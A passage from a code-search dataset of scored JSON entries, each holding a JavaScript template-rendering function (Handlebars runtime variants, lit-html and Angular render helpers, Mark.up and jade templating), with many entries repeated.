ret._child = function(i, data, blockParams, depths) {\n if (templateSpec.useBlockParams && !blockParams) {\n throw new Exception('must pass block params');\n }\n if (templateSpec.useDepths && !depths) {\n throw new Exception('must pass parent depths');\n }\n\n return program(container, i, templateSpec[i], data, 0, blockParams, depths);\n };\n return ret;\n}", "title": "" }, { "docid": "1494dc9fc27dba0af23c868a016348d6", "score": "0.5604278", "text": "function template(templateSpec, env) {\n /* istanbul ignore next */\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n if (!templateSpec || !templateSpec.main) {\n throw new Exception('Unknown template object: ' + typeof templateSpec);\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n env.VM.checkRevision(templateSpec.compiler);\n\n var invokePartialWrapper = function(partial, context, options) {\n if (options.hash) {\n context = Utils.extend({}, context, options.hash);\n }\n\n partial = env.VM.resolvePartial.call(this, partial, context, options);\n var result = env.VM.invokePartial.call(this, partial, context, options);\n\n if (result == null && env.compile) {\n options.partials[options.name] = env.compile(partial, templateSpec.compilerOptions, env);\n result = options.partials[options.name](context, options);\n }\n if (result != null) {\n if (options.indent) {\n var lines = result.split('\\n');\n for (var i = 0, l = lines.length; i < l; i++) {\n if (!lines[i] && i + 1 === l) {\n break;\n }\n\n lines[i] = options.indent + lines[i];\n }\n result = lines.join('\\n');\n }\n return result;\n } else {\n throw new Exception(\"The partial \" + options.name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n strict: function(obj, name) {\n if (!(name in obj)) {\n throw new Exception('\"' + name + '\" not defined in ' + obj);\n }\n return obj[name];\n },\n lookup: function(depths, name) {\n var len = depths.length;\n for (var i = 0; i < len; i++) {\n if (depths[i] && depths[i][name] != null) {\n return depths[i][name];\n }\n }\n },\n lambda: function(current, context) {\n return typeof current === 'function' ? current.call(context) : current;\n },\n\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n\n fn: function(i) {\n return templateSpec[i];\n },\n\n programs: [],\n program: function(i, data, declaredBlockParams, blockParams, depths) {\n var programWrapper = this.programs[i],\n fn = this.fn(i);\n if (data || depths || blockParams || declaredBlockParams) {\n programWrapper = program(this, i, fn, data, declaredBlockParams, blockParams, depths);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(this, i, fn);\n }\n return programWrapper;\n },\n\n data: function(data, depth) {\n while (data && depth--) {\n data = data._parent;\n }\n return data;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = Utils.extend({}, common, param);\n }\n\n return ret;\n },\n\n noop: env.VM.noop,\n compilerInfo: templateSpec.compiler\n };\n\n var ret = function(context, options) {\n options = options || {};\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths,\n blockParams = templateSpec.useBlockParams ? [] : undefined;\n if (templateSpec.useDepths) {\n depths = options.depths ? [context].concat(options.depths) : [context];\n }\n\n return templateSpec.main.call(container, context, container.helpers, container.partials, data, blockParams, depths);\n };\n ret.isTop = true;\n\n ret._setup = function(options) {\n if (!options.partial) {\n container.helpers = container.merge(options.helpers, env.helpers);\n\n if (templateSpec.usePartial) {\n container.partials = container.merge(options.partials, env.partials);\n }\n } else {\n container.helpers = options.helpers;\n container.partials = options.partials;\n }\n };\n\n ret._child = function(i, data, blockParams, depths) {\n if (templateSpec.useBlockParams && !blockParams) {\n throw new Exception('must pass block params');\n }\n if (templateSpec.useDepths && !depths) {\n throw new Exception('must pass parent depths');\n }\n\n return program(container, i, templateSpec[i], data, 0, blockParams, depths);\n };\n return ret;\n}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.557085", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.557085", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.557085", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.557085", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.557085", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.557085", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.557085", "text": "render() {}", "title": "" }, { "docid": "21e70307a36434d055858de3d7a03435", "score": "0.5555325", "text": "renderFeaturesWithTemplate(query, path, template) {\n let templateContents = template;\n let htmlContents = \"\";\n\n if (query.results[path]) {\n if (query.results[path].failed === true) {\n htmlContents = `\n <div class=\"query-error\">\n <div class=\"error-header\">Error</div>\n <div class=\"error-contents\">\n ${query.results[path].failureMessage}\n </div>\n </div>\n `;\n } else if (template.substring(0, 1) === \"@\") {\n const templateName = template.substring(1);\n const layer = getLayerFromPath(this.store.getState().mapSources, path);\n const layerTemplate = layer.templates[templateName];\n\n if (layerTemplate) {\n if (layerTemplate.type === \"alias\") {\n // TODO: Someone is likely to think it's funny to do multiple\n // levels of aliasing, this should probably look through that\n // possibility.\n templateContents = layer.templates[layerTemplate.alias].contents;\n } else {\n templateContents = layer.templates[templateName].contents;\n }\n } else {\n templateContents = null;\n // only show warnings when the application is\n // configured to do so.\n if (this.showWarnings) {\n console.info(\"Failed to find template.\", path, templateName);\n }\n }\n\n // do not try to iterate through the features if\n // the template does not exist.\n if (templateContents) {\n for (const feature of query.results[path]) {\n // TODO: Make this plugable, check by template \"type\"?!?\n htmlContents += Mark.up(templateContents, feature, FORMAT_OPTIONS);\n }\n } else if (layerTemplate && layerTemplate.type === \"auto\") {\n const features = query.results[path];\n for (let i = 0, ii = features.length; i < ii; i++) {\n const feature = features[i];\n\n htmlContents += '<div class=\"result\">';\n htmlContents += '<div class=\"feature-class\">';\n htmlContents += layer.label;\n htmlContents += \"</div>\";\n\n const properties = Object.keys(feature.properties || {}).filter(\n (key) => key !== \"_uuid\"\n );\n\n if (properties.length > 0) {\n for (let k = 0, kk = properties.length; k < kk; k++) {\n const key = properties[k];\n const value = feature.properties[key];\n htmlContents += Mark.up(\n \"<b>{{ key }}:</b> {{ value }} <br/>\",\n {\n key,\n value,\n },\n FORMAT_OPTIONS\n );\n }\n } else {\n // no properties\n htmlContents += \"<i>\" + i18next.t(\"empty-properties\") + \"</i>\";\n }\n htmlContents += \"</div>\";\n }\n }\n } else if (template) {\n // assume the template is template contents.\n for (const feature of query.results[path]) {\n htmlContents += Mark.up(template, feature, FORMAT_OPTIONS);\n }\n }\n }\n\n return htmlContents;\n }", "title": "" }, { "docid": "6caf79f2416a17b55015693b48d6f7f3", "score": "0.55503154", "text": "function template(templateSpec, env) {\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n env.VM.checkRevision(templateSpec.compiler);\n\n var invokePartialWrapper = function(partial, name, context, hash, helpers, partials, data) {\n if (hash) {\n context = Utils.extend({}, context, hash);\n }\n\n var result = env.VM.invokePartial.call(this, partial, name, context, helpers, partials, data);\n if (result != null) { return result; }\n\n if (env.compile) {\n var options = { helpers: helpers, partials: partials, data: data };\n partials[name] = env.compile(partial, { data: data !== undefined }, env);\n return partials[name](context, options);\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n\n fn: function(i) {\n return templateSpec[i];\n },\n\n programs: [],\n program: function(i, data) {\n var programWrapper = this.programs[i],\n fn = this.fn(i);\n if(data) {\n programWrapper = program(this, i, fn, data);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(this, i, fn);\n }\n return programWrapper;\n },\n programWithDepth: env.VM.programWithDepth,\n\n initData: function(context, data) {\n if (!data || !('root' in data)) {\n data = data ? createFrame(data) : {};\n data.root = context;\n }\n return data;\n },\n data: function(data, depth) {\n while (data && depth--) {\n data = data._parent;\n }\n return data;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = Utils.extend({}, common, param);\n }\n\n return ret;\n },\n\n noop: env.VM.noop,\n compilerInfo: templateSpec.compiler\n };\n\n var ret = function(context, options) {\n options = options || {};\n var namespace = options.partial ? options : env,\n helpers,\n partials,\n data = options.data;\n\n if (!options.partial) {\n helpers = container.helpers = container.merge(options.helpers, namespace.helpers);\n\n if (templateSpec.usePartial) {\n partials = container.partials = container.merge(options.partials, namespace.partials);\n }\n if (templateSpec.useData) {\n data = container.initData(context, data);\n }\n } else {\n helpers = container.helpers = options.helpers;\n partials = container.partials = options.partials;\n }\n return templateSpec.main.call(container, context, helpers, partials, data);\n };\n\n ret.child = function(i) {\n return container.programWithDepth(i);\n };\n return ret;\n}", "title": "" }, { "docid": "d809e9695ce6a83e63ae936ad9c6a23d", "score": "0.55488855", "text": "function template(templateSpec, env) {\n\t if (!env) {\n\t throw new Exception(\"No environment passed to template\");\n\t }\n\n\t // Note: Using env.VM references rather than local var references throughout this section to allow\n\t // for external users to override these as psuedo-supported APIs.\n\t var invokePartialWrapper = function(partial, name, context, helpers, partials, data) {\n\t var result = env.VM.invokePartial.apply(this, arguments);\n\t if (result != null) { return result; }\n\n\t if (env.compile) {\n\t var options = { helpers: helpers, partials: partials, data: data };\n\t partials[name] = env.compile(partial, { data: data !== undefined }, env);\n\t return partials[name](context, options);\n\t } else {\n\t throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n\t }\n\t };\n\n\t // Just add water\n\t var container = {\n\t escapeExpression: Utils.escapeExpression,\n\t invokePartial: invokePartialWrapper,\n\t programs: [],\n\t program: function(i, fn, data) {\n\t var programWrapper = this.programs[i];\n\t if(data) {\n\t programWrapper = program(i, fn, data);\n\t } else if (!programWrapper) {\n\t programWrapper = this.programs[i] = program(i, fn);\n\t }\n\t return programWrapper;\n\t },\n\t merge: function(param, common) {\n\t var ret = param || common;\n\n\t if (param && common && (param !== common)) {\n\t ret = {};\n\t Utils.extend(ret, common);\n\t Utils.extend(ret, param);\n\t }\n\t return ret;\n\t },\n\t programWithDepth: env.VM.programWithDepth,\n\t noop: env.VM.noop,\n\t compilerInfo: null\n\t };\n\n\t return function(context, options) {\n\t options = options || {};\n\t var namespace = options.partial ? options : env,\n\t helpers,\n\t partials;\n\n\t if (!options.partial) {\n\t helpers = options.helpers;\n\t partials = options.partials;\n\t }\n\t var result = templateSpec.call(\n\t container,\n\t namespace, context,\n\t helpers,\n\t partials,\n\t options.data);\n\n\t if (!options.partial) {\n\t env.VM.checkRevision(container.compilerInfo);\n\t }\n\n\t return result;\n\t };\n\t}", "title": "" }, { "docid": "ea8a56b903e128d683b7f4fdbd89ec98", "score": "0.5527424", "text": "_renderOutsideIn(root, domain, processed, unresolved) {\n domain = domain || this._root;\n processed = processed || new RootNode();\n unresolved = unresolved || [];\n\n var node, context, forSection, checkNode, cantResolve, processSection;\n for(let n = 0; n < root.inner.length; ++n) {\n node = root.inner[n];\n\n // skip comments (shouldn't exist but just in case)\n if(node.directive === DIRECTIVES.COMMENT) continue;\n\n // text doesn't need processing\n if(node instanceof TextNode) {\n processed.inner.push(node);\n continue;\n }\n\n // render partial as sub-render with passed data domain and duplicate options\n if(node instanceof PartialNode) {\n processed.inner.push(this._partial(node, domain));\n continue;\n }\n\n // can't resolve node in-context tied to a repeating section\n if(domain.isrepeating && node.incontext) {\n processed.inner.push(node);\n continue;\n }\n\n forSection = node instanceof SectionNode;\n\n // additional unresolved checks against unresolvable nodes\n checkNode = !forSection && node.directive !== DIRECTIVES.LIST;\n if(unresolved.length && (checkNode || node.func.length)) {\n cantResolve = unresolved.find(urdom => (\n // can't resolve node (excluding sections and lists -- handled separately)\n checkNode && urdom.incontext(node.key)\n // can't resolve a passed-to function\n || node.func.find(fn => urdom.incontext(fn.key))\n ));\n if(cantResolve) {\n processed.inner.push(node);\n continue;\n }\n }\n\n // get data context -- if null, likely due to nesting into dynamic data, so defer processing\n context = this._getContext(node, domain);\n if(!context) {\n processed.inner.push(node);\n continue;\n }\n\n // render sections -- handler split out for readability, but from there can recurse back into \n // this function\n if(forSection) {\n this._section(node, context, processed, unresolved);\n continue;\n }\n\n // render straight values unless it depends on dynamic context (those defer till 2nd round)\n processed.inner.push(this._renderValue(node, context.value));\n }\n\n return processed;\n }", "title": "" }, { "docid": "256b453b3511d74d0ecf530da3af75d4", "score": "0.55225915", "text": "function renderEmbeddedTemplate(viewToRender, tView, context) {\n var _isParent = getIsParent();\n var _previousOrParentTNode = getPreviousOrParentTNode();\n setIsParent(true);\n setPreviousOrParentTNode(null);\n var oldView;\n if (viewToRender[FLAGS] & 128 /* IsRoot */) {\n // This is a root view inside the view tree\n tickRootContext(getRootContext(viewToRender));\n }\n else {\n try {\n setIsParent(true);\n setPreviousOrParentTNode(null);\n oldView = enterView(viewToRender, viewToRender[HOST_NODE]);\n namespaceHTML();\n tView.template(getRenderFlags(viewToRender), context);\n // This must be set to false immediately after the first creation run because in an\n // ngFor loop, all the views will be created together before update mode runs and turns\n // off firstTemplatePass. If we don't set it here, instances will perform directive\n // matching, etc again and again.\n viewToRender[TVIEW].firstTemplatePass = false;\n setFirstTemplatePass(false);\n refreshDescendantViews(viewToRender);\n }\n finally {\n leaveView(oldView);\n setIsParent(_isParent);\n setPreviousOrParentTNode(_previousOrParentTNode);\n }\n }\n}", "title": "" }, { "docid": "256b453b3511d74d0ecf530da3af75d4", "score": "0.55225915", "text": "function renderEmbeddedTemplate(viewToRender, tView, context) {\n var _isParent = getIsParent();\n var _previousOrParentTNode = getPreviousOrParentTNode();\n setIsParent(true);\n setPreviousOrParentTNode(null);\n var oldView;\n if (viewToRender[FLAGS] & 128 /* IsRoot */) {\n // This is a root view inside the view tree\n tickRootContext(getRootContext(viewToRender));\n }\n else {\n try {\n setIsParent(true);\n setPreviousOrParentTNode(null);\n oldView = enterView(viewToRender, viewToRender[HOST_NODE]);\n namespaceHTML();\n tView.template(getRenderFlags(viewToRender), context);\n // This must be set to false immediately after the first creation run because in an\n // ngFor loop, all the views will be created together before update mode runs and turns\n // off firstTemplatePass. If we don't set it here, instances will perform directive\n // matching, etc again and again.\n viewToRender[TVIEW].firstTemplatePass = false;\n setFirstTemplatePass(false);\n refreshDescendantViews(viewToRender);\n }\n finally {\n leaveView(oldView);\n setIsParent(_isParent);\n setPreviousOrParentTNode(_previousOrParentTNode);\n }\n }\n}", "title": "" }, { "docid": "256b453b3511d74d0ecf530da3af75d4", "score": "0.55225915", "text": "function renderEmbeddedTemplate(viewToRender, tView, context) {\n var _isParent = getIsParent();\n var _previousOrParentTNode = getPreviousOrParentTNode();\n setIsParent(true);\n setPreviousOrParentTNode(null);\n var oldView;\n if (viewToRender[FLAGS] & 128 /* IsRoot */) {\n // This is a root view inside the view tree\n tickRootContext(getRootContext(viewToRender));\n }\n else {\n try {\n setIsParent(true);\n setPreviousOrParentTNode(null);\n oldView = enterView(viewToRender, viewToRender[HOST_NODE]);\n namespaceHTML();\n tView.template(getRenderFlags(viewToRender), context);\n // This must be set to false immediately after the first creation run because in an\n // ngFor loop, all the views will be created together before update mode runs and turns\n // off firstTemplatePass. If we don't set it here, instances will perform directive\n // matching, etc again and again.\n viewToRender[TVIEW].firstTemplatePass = false;\n setFirstTemplatePass(false);\n refreshDescendantViews(viewToRender);\n }\n finally {\n leaveView(oldView);\n setIsParent(_isParent);\n setPreviousOrParentTNode(_previousOrParentTNode);\n }\n }\n}", "title": "" }, { "docid": "f9c2109c28310a11b89b86bdd600ac14", "score": "0.5520037", "text": "function render(result, container, partCallback = defaultPartCallback) {\n let instance = container.__templateInstance;\n // Repeat render, just call update()\n if (instance !== undefined && instance.template === result.template && instance._partCallback === partCallback) {\n instance.update(result.values);\n return;\n }\n // First render, create a new TemplateInstance and append it\n instance = new TemplateInstance(result.template, partCallback);\n container.__templateInstance = instance;\n const fragment = instance._clone();\n instance.update(result.values);\n let child;\n while (child = container.lastChild) {\n container.removeChild(child);\n }\n container.appendChild(fragment);\n }", "title": "" }, { "docid": "111d5928c74daa5813d05f13183011b4", "score": "0.5519693", "text": "function render(templateID, context)\n{\n\tvar tpl = $('#' + templateID).text();\n\treturn $.trim(Mark.up(tpl, context));\t// trim is necessary so jQuery parses it as HTML (first char must be \"<\")\n}", "title": "" }, { "docid": "58caf3d81d4e20ef25c5ffeeebdfeb7e", "score": "0.5507442", "text": "function templatePage(req, res, template, block, next) {\n \n // Set any variables\n var myVariable = \"Hello World\";\n \n // Create a content item\n var item = {id:\"NA\", type:'content', meta:{variable:myVariable}};\n \n // Render the item via the template provided above\n calipso.theme.renderItem(req, res, template, block, {item:item});\n \n next();\n \n}", "title": "" }, { "docid": "3cd58087eb6c1cb1f508bb9b8c458f51", "score": "0.54989564", "text": "function templateWrapper(template, dataPath = '') {\n //template is ususally ./template/NotFound\n const Template = require('{{ themePath }}/template' + template.replace(/^\\.\\/template/, ''));\n //We get final path of component\n return (nextState, callback) => {\n const propsPath = calcPropsPath(dataPath, nextState.params);\n //replace dynamic parameter of url, such as `path: 'docs/pattern/:children'`\n const pageData = exist.get(data.markdown, propsPath.replace(/^\\//, '').replace(/\\/$/,\"\").split('/'));\n //Urls are mapped to component instantiation\n const collect = Template.collect || defaultCollect;\n //We firstly invoke our template`s collect function, passed value are combined with nextState\n //and previous object with data, picked ,pageData,utils contained\n collect(Object.assign({}, nextState, {\n data: data.markdown,\n picked: data.picked,\n pageData,\n //page data is for special html page based on url\n utils,\n }), (err, nextProps) => {\n // const Comp = (hasParams(dataPath) || pageData) && err !== 404 ?\n // Template.default || Template : NotFound.default || NotFound;\n const Comp = (hasParams(dataPath) || pageData) && err !== 404 ?\n Template.default || Template : NotFound.default || NotFound;\n //ES6 based component, we need to import .default while module.exports do not need to\n const dynamicPropsKey = nextState.location.pathname;\n //we get pathname\n Comp[dynamicPropsKey] = nextProps;\n //In create-element.js, we do that. <Component {...props} {...Component[dynamicPropsKey]} />\n //something as bellow\n /*\n <ReactRouter.Router\n\t\t history={ReactRouter.useRouterHistory(history.createHistory)({ basename })}\n\t\t routes={routes}\n\t\t createElement={createElement}//that is createElement Function\n\t\t />;\n\t\t module.exports = function createElement(Component, props) {\n\t\t\t const dynamicPropsKey = props.location.pathname;\n\t\t\t return <Component {...props} {...Component[dynamicPropsKey]} />;\n\t\t };\n */\n callback(err === 404 ? null : err, Comp);\n //https://react-guide.github.io/react-router-cn/docs/guides/advanced/DynamicRouting.html\n //callback of react-router natively\n });\n };\n }", "title": "" }, { "docid": "04100b33d8447f03a590ab2bf309d3eb", "score": "0.5493191", "text": "render() {\r\n return this.el.insertAdjacentHTML('beforeend', template(this.opt));\r\n }", "title": "" }, { "docid": "52af409b8da9ea27b14296ef5051ab3d", "score": "0.5489862", "text": "function render(result, container, partCallback = defaultPartCallback) {\n let instance = container.__templateInstance;\n // Repeat render, just call update()\n if (instance !== undefined && instance.template === result.template &&\n instance._partCallback === partCallback) {\n instance.update(result.values);\n return;\n }\n // First render, create a new TemplateInstance and append it\n instance = new TemplateInstance(result.template, partCallback);\n container.__templateInstance = instance;\n const fragment = instance._clone();\n instance.update(result.values);\n let child;\n while ((child = container.lastChild)) {\n container.removeChild(child);\n }\n container.appendChild(fragment);\n}", "title": "" }, { "docid": "b78f04c26b368fcc889eaf330d148df6", "score": "0.54810977", "text": "function renderArticles(){\n var articleTemplate = $('#article-template').html();\n var template = Handlebars.compile(articleTemplate);\n var htmlString = template({articles: store.articles.slice(0, 4)})\n $('.article-row').append(htmlString);\n }", "title": "" }, { "docid": "55e85efedae013fed06e86081eb63653", "score": "0.5471346", "text": "function render_tmpl () {\n // store compiled templates for great good\n var cache = {}\n\n var compile_template = function (filename) {\n return Q\n .fcall(function () {\n // return cached immediately\n if (cache[filename]) {\n return cache[filename]\n }\n\n // (asynchronously) load and compile template\n $.util.log('loading template: ' + filename)\n return Q\n .nfcall(fs.readFile, filename)\n .then(function (tmpl_content) {\n // turn template in promise returning function and cache it\n var compiled = jade.compile(tmpl_content, {pretty: true, filename: filename})\n $.util.log('compiled template: ' + chalk.yellow(filename))\n return (cache[filename] = compiled)\n })\n })\n .fail(function (err) {\n $.util.log('failed compiling jade template', chalk.red(err))\n })\n }\n\n return $.map(function (file) {\n // select template\n var t = (file.frontMatter && file.frontMatter.layout) || 'default'\n\n // pull from cache, compile if needed\n return compile_template('templates/' + t + '.jade')\n .then(function (compiled_template) {\n $.util.log('rendering [' + chalk.yellow(t) + '] \"' +\n chalk.magenta(path.basename(file.path)) + '\"')\n\n try {\n // render it with template variable 'page'\n var html = compiled_template({page: file})\n } catch (err) {\n console.log('[' + chalk.red('ERR') +\n '] Failed rendering jade template\\n\\t' +\n chalk.red(err.message))\n }\n\n return new File({\n cwd: file.cwd,\n base: file.base,\n path: file.path.replace(/\\.md$/, '.html'),\n contents: new Buffer(html)\n })\n })\n .fail(function (err) {\n $.util.log('Failed rendering jade template', chalk.red(err))\n })\n })\n}", "title": "" }, { "docid": "34a9c768c8255f3250e7152bccd3ba54", "score": "0.5466956", "text": "function renderTemplate() {\n let result = \"\";\n\n result += publicApi.templateStart;\n for (let i = 0; i < publicApi.pageCount; i++) {\n result += renderPageButton(i + 1, i == activePage);\n }\n\n result += publicApi.templateEnd;\n\n return result;\n }", "title": "" }, { "docid": "7332ba9c92d3fd06e1353787d65a4bc3", "score": "0.5450632", "text": "_renderTemplateToDOM( element, template = '', data = {} ) {\n element.insertAdjacentHTML( 'beforeEnd', mustache.render(\n template, data\n ) );\n }", "title": "" }, { "docid": "2b5ca9ce17995cf7e73a8724d28800e8", "score": "0.5447279", "text": "function create_if_block(ctx) {\n\tlet section_1;\n\tlet current;\n\tconst section_1_spread_levels = [/*section*/ ctx[0]];\n\tlet section_1_props = {};\n\n\tfor (let i = 0; i < section_1_spread_levels.length; i += 1) {\n\t\tsection_1_props = Object(svelte_internal__WEBPACK_IMPORTED_MODULE_0__[\"assign\"])(section_1_props, section_1_spread_levels[i]);\n\t}\n\n\tsection_1 = new _Section__WEBPACK_IMPORTED_MODULE_1__[\"default\"]({ props: section_1_props });\n\n\treturn {\n\t\tc() {\n\t\t\tObject(svelte_internal__WEBPACK_IMPORTED_MODULE_0__[\"create_component\"])(section_1.$$.fragment);\n\t\t},\n\t\tm(target, anchor) {\n\t\t\tObject(svelte_internal__WEBPACK_IMPORTED_MODULE_0__[\"mount_component\"])(section_1, target, anchor);\n\t\t\tcurrent = true;\n\t\t},\n\t\tp(ctx, dirty) {\n\t\t\tconst section_1_changes = (dirty & /*section*/ 1)\n\t\t\t? Object(svelte_internal__WEBPACK_IMPORTED_MODULE_0__[\"get_spread_update\"])(section_1_spread_levels, [Object(svelte_internal__WEBPACK_IMPORTED_MODULE_0__[\"get_spread_object\"])(/*section*/ ctx[0])])\n\t\t\t: {};\n\n\t\t\tsection_1.$set(section_1_changes);\n\t\t},\n\t\ti(local) {\n\t\t\tif (current) return;\n\t\t\tObject(svelte_internal__WEBPACK_IMPORTED_MODULE_0__[\"transition_in\"])(section_1.$$.fragment, local);\n\t\t\tcurrent = true;\n\t\t},\n\t\to(local) {\n\t\t\tObject(svelte_internal__WEBPACK_IMPORTED_MODULE_0__[\"transition_out\"])(section_1.$$.fragment, local);\n\t\t\tcurrent = false;\n\t\t},\n\t\td(detaching) {\n\t\t\tObject(svelte_internal__WEBPACK_IMPORTED_MODULE_0__[\"destroy_component\"])(section_1, detaching);\n\t\t}\n\t};\n}", "title": "" }, { "docid": "d4623768a3079afcdbeaa2bdafd3520e", "score": "0.54269445", "text": "renderTemplate(path, template, params) {\n if (template.substring(0, 1) === \"@\") {\n const templateName = template.substring(1);\n const layer = getLayerFromPath(this.store.getState().mapSources, path);\n const layerTemplate = layer.templates[templateName];\n let templateContents = \"\";\n\n if (layerTemplate) {\n if (layerTemplate.type === \"alias\") {\n // TODO: Someone is likely to think it's funny to do multiple\n // levels of aliasing, this should probably look through that\n // possibility.\n templateContents = layer.templates[layerTemplate.alias].contents;\n } else {\n templateContents = layer.templates[templateName].contents;\n }\n return Mark.up(templateContents, params, FORMAT_OPTIONS);\n }\n }\n return \"\";\n }", "title": "" }, { "docid": "65719912bc19bfbb99efd5ce4c59ca50", "score": "0.5426224", "text": "function template(templateSpec, env) {\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n var invokePartialWrapper = function(partial, name, context, helpers, partials, data) {\n var result = env.VM.invokePartial.apply(this, arguments);\n if (result != null) { return result; }\n\n if (env.compile) {\n var options = { helpers: helpers, partials: partials, data: data };\n partials[name] = env.compile(partial, { data: data !== undefined }, env);\n return partials[name](context, options);\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n programs: [],\n program: function(i, fn, data) {\n var programWrapper = this.programs[i];\n if(data) {\n programWrapper = program(i, fn, data);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(i, fn);\n }\n return programWrapper;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = {};\n Utils.extend(ret, common);\n Utils.extend(ret, param);\n }\n return ret;\n },\n programWithDepth: env.VM.programWithDepth,\n noop: env.VM.noop,\n compilerInfo: null\n };\n\n return function(context, options) {\n options = options || {};\n var namespace = options.partial ? options : env,\n helpers,\n partials;\n\n if (!options.partial) {\n helpers = options.helpers;\n partials = options.partials;\n }\n var result = templateSpec.call(\n container,\n namespace, context,\n helpers,\n partials,\n options.data);\n\n if (!options.partial) {\n env.VM.checkRevision(container.compilerInfo);\n }\n\n return result;\n };\n }", "title": "" }, { "docid": "65719912bc19bfbb99efd5ce4c59ca50", "score": "0.5426224", "text": "function template(templateSpec, env) {\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n var invokePartialWrapper = function(partial, name, context, helpers, partials, data) {\n var result = env.VM.invokePartial.apply(this, arguments);\n if (result != null) { return result; }\n\n if (env.compile) {\n var options = { helpers: helpers, partials: partials, data: data };\n partials[name] = env.compile(partial, { data: data !== undefined }, env);\n return partials[name](context, options);\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n programs: [],\n program: function(i, fn, data) {\n var programWrapper = this.programs[i];\n if(data) {\n programWrapper = program(i, fn, data);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(i, fn);\n }\n return programWrapper;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = {};\n Utils.extend(ret, common);\n Utils.extend(ret, param);\n }\n return ret;\n },\n programWithDepth: env.VM.programWithDepth,\n noop: env.VM.noop,\n compilerInfo: null\n };\n\n return function(context, options) {\n options = options || {};\n var namespace = options.partial ? options : env,\n helpers,\n partials;\n\n if (!options.partial) {\n helpers = options.helpers;\n partials = options.partials;\n }\n var result = templateSpec.call(\n container,\n namespace, context,\n helpers,\n partials,\n options.data);\n\n if (!options.partial) {\n env.VM.checkRevision(container.compilerInfo);\n }\n\n return result;\n };\n }", "title": "" }, { "docid": "65719912bc19bfbb99efd5ce4c59ca50", "score": "0.5426224", "text": "function template(templateSpec, env) {\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n var invokePartialWrapper = function(partial, name, context, helpers, partials, data) {\n var result = env.VM.invokePartial.apply(this, arguments);\n if (result != null) { return result; }\n\n if (env.compile) {\n var options = { helpers: helpers, partials: partials, data: data };\n partials[name] = env.compile(partial, { data: data !== undefined }, env);\n return partials[name](context, options);\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n programs: [],\n program: function(i, fn, data) {\n var programWrapper = this.programs[i];\n if(data) {\n programWrapper = program(i, fn, data);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(i, fn);\n }\n return programWrapper;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = {};\n Utils.extend(ret, common);\n Utils.extend(ret, param);\n }\n return ret;\n },\n programWithDepth: env.VM.programWithDepth,\n noop: env.VM.noop,\n compilerInfo: null\n };\n\n return function(context, options) {\n options = options || {};\n var namespace = options.partial ? options : env,\n helpers,\n partials;\n\n if (!options.partial) {\n helpers = options.helpers;\n partials = options.partials;\n }\n var result = templateSpec.call(\n container,\n namespace, context,\n helpers,\n partials,\n options.data);\n\n if (!options.partial) {\n env.VM.checkRevision(container.compilerInfo);\n }\n\n return result;\n };\n }", "title": "" }, { "docid": "65719912bc19bfbb99efd5ce4c59ca50", "score": "0.5426224", "text": "function template(templateSpec, env) {\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n var invokePartialWrapper = function(partial, name, context, helpers, partials, data) {\n var result = env.VM.invokePartial.apply(this, arguments);\n if (result != null) { return result; }\n\n if (env.compile) {\n var options = { helpers: helpers, partials: partials, data: data };\n partials[name] = env.compile(partial, { data: data !== undefined }, 